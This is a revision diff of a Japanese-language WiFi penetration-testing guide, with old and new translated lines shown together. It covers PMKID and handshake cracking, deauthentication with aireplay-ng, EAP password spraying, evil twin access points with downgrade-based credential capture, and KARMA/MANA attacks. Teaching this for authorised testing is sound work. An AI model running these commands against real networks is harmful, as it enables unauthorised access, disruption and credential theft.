多くの現代のルーターは、関連付け中に**最初のEAPOL**フレームに**オプションのフィールド**を追加します。これを`Robust Security Network`と呼びます。これには`PMKID`が含まれます。
|
||||
多くの現代のルーターは、関連付け中に**最初のEAPOL**フレームに`Robust Security Network`として知られる**オプションフィールド**を追加します。これには`PMKID`が含まれます。
|
||||
|
||||
元の投稿が説明しているように、**PMKID**は既知のデータを使用して作成されます:
|
||||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
"PMK Name"が一定であること、APとステーションのBSSIDがわかっており、`PMK`が完全な4-wayハンドシェイクのものと同一であることから、**hashcat**はこの情報を使用してPSKをクラッキングし、パスフレーズを回復できます!
|
||||
"PMK Name"が一定であること、APのBSSIDとステーションがわかっており、`PMK`が完全な4-wayハンドシェイクのものと同一であることから、**hashcat**はこの情報を使用してPSKをクラッキングし、パスフレーズを回復できます!
|
||||
|
||||
この情報を**収集**し、パスワードをローカルで**ブルートフォース**するには、次のようにします:
|
||||
```bash
|
||||
@ -277,13 +277,13 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
キャプチャされた **PMKIDs** は **コンソール** に表示され、また **/tmp/attack.pcap** に **保存** されます。\
|
||||
次に、キャプチャを **hashcat/john** 形式に変換してクラックします:
|
||||
次に、キャプチャを **hashcat/john** 形式に変換し、クラックします:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのハッシュが**3つの部分**しか含まれていない場合、それは**無効**です(PMKIDキャプチャが無効でした)。
|
||||
正しいハッシュの形式は**4つの部分**を含むことに注意してください。例: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` あなたのハッシュが**3つの部分**しか含まない場合、それは**無効**です(PMKIDキャプチャが無効でした)。
|
||||
|
||||
`hcxdumptool`は**ハンドシェイクもキャプチャ**します(このようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。あなたは`cap2hccapx`を使用して**ハンドシェイク**を**hashcat**/**john**形式に**変換**することができます。
|
||||
```bash
|
||||
@ -297,14 +297,14 @@ aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
|
||||
### ハンドシェイクキャプチャ
|
||||
|
||||
**WPA/WPA2** ネットワークへの攻撃は、**ハンドシェイク**をキャプチャし、パスワードを**オフライン**で**クラック**しようとすることで実行できます。このプロセスは、特定のネットワークと**BSSID**の通信を監視することを含みます。以下は簡潔なガイドです:
|
||||
**WPA/WPA2** ネットワークに対する攻撃は、**ハンドシェイク**をキャプチャし、パスワードを**オフライン**で**クラック**しようとすることで実行できます。このプロセスは、特定のネットワークと特定の**チャネル**上の**BSSID**の通信を監視することを含みます。以下は簡潔なガイドです:
|
||||
|
||||
1. 対象ネットワークの**BSSID**、**チャネル**、および**接続されたクライアント**を特定します。
|
||||
1. ターゲットネットワークの**BSSID**、**チャネル**、および**接続されたクライアント**を特定します。
|
||||
2. 指定されたチャネルとBSSIDでネットワークトラフィックを監視するために`airodump-ng`を使用し、ハンドシェイクをキャプチャすることを期待します。コマンドは次のようになります:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. ハンドシェイクをキャプチャするチャンスを増やすために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
|
||||
3. ハンドシェイクをキャプチャする確率を高めるために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する `aireplay-ng` コマンドを使用して行うことができます:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
@ -339,9 +339,9 @@ _このツールがESSIDの未完了ハンドシェイクを完了したもの
|
||||
apt-get install pyrit #Not working for newer versions of kali
|
||||
pyrit -r psk-01.cap analyze
|
||||
```
|
||||
## **WPA Enterprise (MGT)**
|
||||
## **WPAエンタープライズ (MGT)**
|
||||
|
||||
**エンタープライズWiFi設定では、さまざまな認証方法に出会います**。各方法は異なるセキュリティレベルと管理機能を提供します。`airodump-ng`のようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のものが含まれます:
|
||||
**エンタープライズWiFiセットアップでは、さまざまな認証方法に出会います**。それぞれ異なるセキュリティレベルと管理機能を提供します。`airodump-ng`のようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のようなものがあります:
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
@ -354,9 +354,9 @@ pyrit -r psk-01.cap analyze
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
- 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみが必要で、クライアントは資格情報を使用します。
|
||||
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
||||
- EAPと同様に、保護された通信のためにTLSトンネルを作成します。トンネルによって提供される保護により、EAPの上に弱い認証プロトコルを使用することができます。
|
||||
- 保護された通信のためにTLSトンネルを作成することでEAPと同様に機能します。トンネルによって提供される保護のため、EAPの上に弱い認証プロトコルを使用することができます。
|
||||
- **PEAP-MSCHAPv2**: 一般にPEAPと呼ばれ、脆弱なMSCHAPv2チャレンジ/レスポンスメカニズムと保護されたTLSトンネルを組み合わせています。
|
||||
- **PEAP-EAP-TLS (またはPEAP-TLS)**: EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。
|
||||
- **PEAP-EAP-TLS (または PEAP-TLS)**: EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。
|
||||
|
||||
これらの認証方法についての詳細は[こちら](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)と[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で確認できます。
|
||||
|
||||
@ -371,7 +371,7 @@ pyrit -r psk-01.cap analyze
|
||||
|
||||
### 匿名のアイデンティティ
|
||||
|
||||
アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-Identityリクエストは通常、関連付けプロセス中にアクセスポイント(AP)によって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は以下のシナリオを通じて示されています:
|
||||
アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-Identityリクエストは通常、関連プロセス中にアクセスポイント(AP)によって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は以下のシナリオを通じて示されています:
|
||||
|
||||
- EAP-Identity = anonymous
|
||||
- このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、EAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバー側を管理します。内部(保護された)認証方法は、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。
|
||||
@ -379,17 +379,17 @@ pyrit -r psk-01.cap analyze
|
||||
- この状況では、異なるレルムのユーザーがそれぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーはEAP-PEAPまたはEAP-TTLSリクエストをそれぞれのホームレルムのRADIUSサーバーにプロキシすることができます。初期RADIUSサーバーは、RADIUSリレー ノードとしてのみ機能します。
|
||||
- あるいは、初期RADIUSサーバーがEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーに転送することもできます。このオプションは、さまざまなレルムに対して異なるポリシーを構成することを容易にします。
|
||||
|
||||
EAP-PEAPでは、PEAPサーバーとPEAPクライアントの間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-Identityリクエストに対して、暗号化されたトンネルを通じてユーザーの真のアイデンティティを含むEAP-Identity応答を送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。
|
||||
EAP-PEAPでは、PEAPサーバーとPEAPクライアントの間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-Identityリクエストに応じて、ユーザーの真のアイデンティティを含むEAP-Identity応答を暗号化されたトンネルを通じて送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。
|
||||
|
||||
EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
|
||||
EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライアントは通常、PAPまたはCHAPを使用して認証し、TLSトンネルによって保護されます。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
|
||||
|
||||
選択されたプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの真のアイデンティティを知ることになります。真のアイデンティティはuser@realmまたは単にuserとして表現できます。PEAP/TTLSサーバーがユーザーの認証も担当している場合、ユーザーのアイデンティティを持ち、TLSトンネルによって保護された認証方法を進めます。あるいは、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することがあります。この新しいRADIUSリクエストはPEAPまたはTTLSプロトコル層を省略します。保護された認証方法がEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、受信したRADIUSリクエストからの匿名User-Nameが置き換えられ、ユーザーの真のアイデンティティが含まれます。保護された認証方法がPAPまたはCHAP(TTLSのみサポート)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が送信されるRADIUSメッセージに置き換えられ、受信したRADIUSリクエストに見られる匿名User-NameおよびTTLS EAP-Message属性が置き換えられます。
|
||||
選択されたプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの真のアイデンティティを知ることになります。真のアイデンティティはuser@realmまたは単にuserとして表現できます。PEAP/TTLSサーバーがユーザーの認証も担当している場合、ユーザーのアイデンティティを持ち、TLSトンネルによって保護された認証方法を進めます。あるいは、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することがあります。この新しいRADIUSリクエストはPEAPまたはTTLSプロトコル層を省略します。保護された認証方法がEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、受信したRADIUSリクエストからの匿名のUser-Nameが置き換えられ、ユーザーの真のアイデンティティが含まれます。保護された認証方法がPAPまたはCHAP(TTLSのみサポート)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が送信されるRADIUSメッセージに置き換えられ、受信したRADIUSリクエストに見られる匿名のUser-NameおよびTTLS EAP-Message属性が置き換えられます。
|
||||
|
||||
詳細については[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)を確認してください。
|
||||
詳細については[こちら](https://www.interlinknetworks.com/app_notes/eap-peap.htm)を確認してください。
|
||||
|
||||
### EAP-ブルートフォース(パスワードスプレー)
|
||||
|
||||
クライアントが**ユーザー名とパスワード**を使用することが期待される場合(この場合、**EAP-TLSは無効**になります)、**ユーザー名**の**リスト**を取得し(次の部分を参照)、**パスワード**を試して、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**を使用してアクセスを**ブルートフォース**することができます。
|
||||
クライアントが**ユーザー名とパスワード**を使用することが期待される場合(この場合、**EAP-TLSは無効**になります)、**ユーザー名**の**リスト**(次の部分を参照)と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**を使用してアクセスを**ブルートフォース**することを試みることができます。
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
@ -411,20 +411,20 @@ EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライ
|
||||
|
||||
### 優先ネットワークリスト(PNL)
|
||||
|
||||
- ステーションは、接続したすべてのワイヤレスネットワークのESSIDを優先ネットワークリスト(PNL)に保存し、ネットワーク固有の設定詳細も含まれます。
|
||||
- ステーションは、接続するすべてのワイヤレスネットワークのESSIDを優先ネットワークリスト(PNL)に保存し、ネットワーク固有の設定詳細も含まれます。
|
||||
- PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを簡素化することでユーザーの体験を向上させます。
|
||||
|
||||
### パッシブスキャン
|
||||
|
||||
- APは定期的にビーコーフレームをブロードキャストし、APのESSIDを含むその存在と機能を通知します(ブロードキャストが無効になっていない限り)。
|
||||
- APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これには、ブロードキャストが無効になっていない限り、APのESSIDが含まれます。
|
||||
- パッシブスキャン中、ステーションはビーコーフレームをリスニングします。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
|
||||
- デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスをロゲAPに接続させることができます。
|
||||
- デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスを騙して不正なAPに接続させることができます。
|
||||
|
||||
### アクティブプロービング
|
||||
|
||||
- アクティブプロービングは、ステーションが近くのAPとその特性を発見するためにプローブリクエストを送信することを含みます。
|
||||
- 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(隠れたネットワークであっても)。
|
||||
- ブロードキャストプローブリクエストは空のSSIDフィールドを持ち、すべての近くのAPに送信され、ステーションはPNLの内容を開示することなく、任意の優先ネットワークをチェックできます。
|
||||
- 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。これは、隠れたネットワークであっても同様です。
|
||||
- ブロードキャストプローブリクエストは、SSIDフィールドが空であり、すべての近くのAPに送信され、ステーションがPNLの内容を開示することなく、任意の優先ネットワークをチェックできるようにします。
|
||||
|
||||
## インターネットへのリダイレクトを伴うシンプルなAP
|
||||
|
||||
@ -497,14 +497,14 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
Evil Twin攻撃は、WiFiクライアントがネットワークを認識する方法を利用し、主にネットワーク名(ESSID)に依存して、ベースステーション(アクセスポイント)がクライアントに対して自らを認証する必要がありません。主なポイントは以下の通りです:
|
||||
|
||||
- **区別の難しさ**: デバイスは、同じESSIDと暗号化タイプを共有する正当なアクセスポイントと悪意のあるアクセスポイントを区別するのに苦労します。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
|
||||
- **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
|
||||
- **実行の課題**: 複数の適切に配置されたアクセスポイントがある環境でEvil Twin攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、悪意のあるアクセスポイントを戦略的に配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
|
||||
- **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供するか、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
|
||||
- **実行の課題**: 複数の適切に配置されたアクセスポイントがある環境でEvil Twin攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、戦略的に悪意のあるアクセスポイントを配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
|
||||
|
||||
非常に基本的なOpen Evil Twin(インターネットへのトラフィックをルーティングする機能はなし)を作成するには、次のようにします:
|
||||
非常に基本的なOpen Evil Twin(インターネットへのトラフィックをルーティングする機能はなし)を作成することができます:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
**eaphammer**を使用してEvil Twinを作成することもできます(Evil Twinをeaphammerで作成するには、インターフェースが**モニター**モードであってはならないことに注意してください):
|
||||
**eaphammer**を使用してEvil Twinを作成することもできます(注意:eaphammerでEvil Twinを作成するには、インターフェースは**モニター**モードであってはなりません)。
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
@ -512,13 +512,13 @@ Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
|
||||
|
||||
.png>)
|
||||
|
||||
デフォルトでは、PNLにESSIDがWPA保護として保存されている場合、デバイスは自動的にOpen evil Twinに接続しません。実際のAPにDoS攻撃を試み、ユーザーが手動であなたのOpen evil twinに接続することを期待するか、実際のAPにDoS攻撃を行い、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてそれをクラックしようとすることができます)。
|
||||
デフォルトでは、PNLにESSIDがWPA保護として保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます)。
|
||||
|
||||
_一部のOSやAVは、Openネットワークに接続することが危険であるとユーザーに警告します..._
|
||||
_一部のOSやAVは、オープンネットワークに接続することが危険であるとユーザーに警告します..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
**WPA/2を使用してEvil Twinを作成**することができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、**4-way-handshakeを完了するためには**、クライアントが使用する**パスワード**を**知っている必要があります**。もし**知らない場合**、**接続は完了しません**。
|
||||
**WPA/2を使用してEvil Twinを作成**することができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、**4-way-handshakeを完了するためには**、クライアントが使用する**パスワード**を**知っている必要があります**。**知らない場合**、**接続は完了しません**。
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -545,7 +545,7 @@ hostapd-wpe ./victim/victim.conf -s
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
デフォルトでは、EAPHammerはこの認証方法を目的としています(最初に平文パスワードを取得するためにGTCを試み、その後により堅牢な認証方法を使用することに注意してください):
|
||||
デフォルトでは、EAPHammerはこの認証方法を目的としています(最初に平文パスワードを取得しようとするGTCに注意し、その後により堅牢な認証方法を使用します):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
@ -555,33 +555,33 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Or you could also use:
|
||||
|
||||
- `--negotiate gtc-downgrade` を使用して、高度に効率的な GTC ダウングレード実装(平文パスワード)を利用する
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、検出がはるかに困難になる)。
|
||||
- `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装(平文パスワード)を利用する
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、検出がはるかに難しくなる)。
|
||||
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Using Airgeddon**
|
||||
|
||||
`Airgeddon` は、以前に生成された証明書を使用して WPA/WPA2-Enterprise ネットワークに EAP 認証を提供できます。偽のネットワークは接続プロトコルを EAP-MD5 にダウングレードし、**ユーザーとパスワードの MD5 をキャプチャ**できるようにします。その後、攻撃者はパスワードをクラックしようとすることができます。\
|
||||
`Airgeddon` は、**継続的な Evil Twin 攻撃(ノイジー)**または**誰かが接続するまで Evil Attack を作成するだけ(スムーズ)**の可能性を提供します。
|
||||
`Airgeddon` は、以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードし、**ユーザーとパスワードのMD5をキャプチャ**できるようにします。その後、攻撃者はパスワードをクラックしようとすることができます。\
|
||||
`Airgeddon` は、**継続的なEvil Twin攻撃(ノイジー)**または**誰かが接続するまでEvil Attackを作成するだけ(スムーズ)**の可能性を提供します。
|
||||
|
||||
.png>)
|
||||
|
||||
### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
|
||||
|
||||
_この方法は PEAP 接続でテストされましたが、任意の TLS トンネルを復号化しているため、EAP-TTLS でも機能するはずです_
|
||||
_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです。_
|
||||
|
||||
**configuration** の中で、_hostapd-wpe_ の **dh_file** を含む行を **コメント** します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\
|
||||
これにより、`hostapd-wpe` は **DH の代わりに RSA を使用してキーを交換**するようになり、**サーバーの秘密鍵を知っていることで**後でトラフィックを **復号化**できるようになります。
|
||||
**hostapd-wpe** の **configuration** 内で、_**dh_file**_ を含む行を **コメント** します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\
|
||||
これにより、`hostapd-wpe` は **DHの代わりにRSAを使用して鍵を交換**するため、**サーバーの秘密鍵を知っていれば**後でトラフィックを**復号化**できるようになります。
|
||||
|
||||
次に、通常通りその修正された設定で **`hostapd-wpe`** を使用して **Evil Twin** を開始します。また、**Evil Twin 攻撃を実行しているインターフェース**で **`wireshark`** を開始します。
|
||||
次に、通常通りその修正された設定で **`hostapd-wpe`** を使用して **Evil Twin** を開始します。また、**Evil Twin攻撃を実行しているインターフェース**で **`wireshark`** を開始します。
|
||||
|
||||
今または後で(すでにいくつかの認証意図をキャプチャした場合)、`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` で wireshark にプライベート RSA キーを追加できます。
|
||||
今または後で(すでにいくつかの認証意図をキャプチャしたとき)、wiresharkにプライベートRSAキーを追加できます:`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
新しいエントリを追加し、次の値でフォームを埋めます: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**キー ファイルを選択**、問題を避けるために**パスワード保護されていないキー ファイルを選択**します)。
|
||||
新しいエントリを追加し、次の値でフォームを埋めます:**IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キー ファイル**(**キー ファイルを選択**、問題を避けるために**パスワード保護されていないキー ファイルを選択**)。
|
||||
|
||||
.png>)
|
||||
|
||||
新しい **"Decrypted TLS" tab** を確認してください:
|
||||
新しい **"Decrypted TLS" タブ** を確認してください:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -589,16 +589,16 @@ _この方法は PEAP 接続でテストされましたが、任意の TLS ト
|
||||
|
||||
### ESSID and MAC black/whitelists
|
||||
|
||||
異なるタイプのメディアアクセス制御フィルターリスト (MFACL) と、それに対応するモードおよび不正アクセス ポイント (AP) の動作への影響:
|
||||
異なるタイプのメディアアクセス制御フィルタリスト(MFACL)と、それに対応するモードおよび不正アクセスポイント(AP)の動作への影響:
|
||||
|
||||
1. **MAC-based Whitelist**:
|
||||
- 不正 AP は、ホワイトリストに指定されたデバイスからのプローブ要求にのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
|
||||
2. **MAC-based Blacklist**:
|
||||
- 不正 AP は、ブラックリストにあるデバイスからのプローブ要求を無視し、特定のデバイスに対して不正 AP を見えなくします。
|
||||
3. **SSID-based Whitelist**:
|
||||
- 不正 AP は、リストにある特定の ESSID に対してのみプローブ要求に応答し、Preferred Network Lists (PNL) にその ESSID が含まれていないデバイスには見えなくなります。
|
||||
4. **SSID-based Blacklist**:
|
||||
- 不正 AP は、ブラックリストにある特定の ESSID に対するプローブ要求には応答せず、特定のネットワークを探しているデバイスには見えなくなります。
|
||||
1. **MACベースのホワイトリスト**:
|
||||
- 不正APは、ホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
|
||||
2. **MACベースのブラックリスト**:
|
||||
- 不正APは、ブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
|
||||
3. **SSIDベースのホワイトリスト**:
|
||||
- 不正APは、リストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network Lists(PNL)にそのESSIDが含まれていないデバイスには見えなくなります。
|
||||
4. **SSIDベースのブラックリスト**:
|
||||
- 不正APは、ブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -620,25 +620,25 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
この方法は、**攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイント (AP) を作成することを可能にします**。この技術は、**デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させる**ものです。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続されます。
|
||||
この方法は、**攻撃者がネットワークに接続しようとするデバイスからのすべてのプローブリクエストに応答する悪意のあるアクセスポイント (AP) を作成することを可能にします**。この技術は、**デバイスが探しているネットワークを模倣することによって、デバイスを攻撃者のAPに接続させる**ものです。デバイスがこの不正なAPに接続リクエストを送信すると、接続が完了し、デバイスは誤って攻撃者のネットワークに接続してしまいます。
|
||||
|
||||
### MANA
|
||||
|
||||
その後、**デバイスは無効なネットワーク応答を無視し始め**、元のkarma攻撃の効果が減少しました。しかし、**MANA攻撃**として知られる新しい方法がイアン・デ・ヴィリアーズとドミニク・ホワイトによって導入されました。この方法は、悪意のあるAPが**デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名 (SSID) で応答することによって、デバイスから優先ネットワークリスト (PNL) をキャプチャする**ことを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し、優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
|
||||
その後、**デバイスは不正なネットワーク応答を無視し始め**、元のkarma攻撃の効果が減少しました。しかし、**MANA攻撃**として知られる新しい方法が、イアン・デ・ヴィリアーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPが**デバイスのブロードキャストプローブリクエストに応答して、デバイスによって以前に確実とされたネットワーク名 (SSID) で応答することによって、デバイスから優先ネットワークリスト (PNL) をキャプチャする**ことを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し、優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
|
||||
|
||||
MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるように誘引します。
|
||||
